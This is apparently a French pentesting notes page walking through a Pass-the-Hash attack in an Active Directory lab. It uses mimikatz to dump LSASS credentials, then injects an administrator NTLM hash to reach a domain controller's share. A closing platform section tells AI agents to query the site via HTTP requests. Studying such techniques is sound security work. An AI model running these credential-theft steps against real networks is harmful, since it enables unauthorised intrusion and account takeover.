> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# Pass-the-Hash sous Windows

Si une machine se connecte à un partage SMB avec une adresse IP au lieu du nom d’hôte, l’authentification passe souvent par NTLM.

Exemple :

```powershell
dir //172.16.0.10/c$
```

<figure><img src="/files/4e3f0c8abd73aab8a270f4b7b00bbd31c230796e" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM (NT LAN Manager) est une suite de protocoles de sécurité développée par Microsoft. Elle permet principalement d’authentifier les utilisateurs sur un réseau informatique, c’est-à-dire de vérifier leur identité lorsqu’ils tentent d’accéder à un ordinateur, à un serveur ou à un dossier partagé. NTLM fonctionne en échangeant des informations chiffrées entre l’utilisateur et le serveur afin d’éviter d’envoyer le mot de passe directement sur le réseau. Bien qu’il ait été longtemps utilisé dans les environnements Windows, ce protocole est désormais progressivement remplacé par Kerberos, considéré comme plus sûr et plus efficace.
{% endhint %}

Depuis `WS01`, on voit que l’accès dépend du contexte déjà chargé en mémoire.

Ici, aucune nouvelle authentification n’est demandée, car le processus réutilise les secrets déjà présents dans `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="/files/eb9b98e125b24e581fd2c1a7733a0e264b1787c1" alt=""><figcaption></figcaption></figure>

On peut alors injecter le hash NTLM d’un autre compte, par exemple `administrateur`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="/files/afd04d76aa7ab20c693bb90e66af487603aa9781" alt=""><figcaption></figcaption></figure>

Avec `mimikatz`, nous lançons un Pass-the-Hash.

```bash
sekurlsa::pth /user:administrateur /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

Une nouvelle console s’ouvre dans le contexte de ce compte.

Nous pouvons alors accéder aux ressources du contrôleur de domaine avec cette identité.

```powershell
dir //172.16.0.100/c$
```

<figure><img src="/files/2c0ecbcc433a9a751d06b06f8f2e38ff84b2943e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
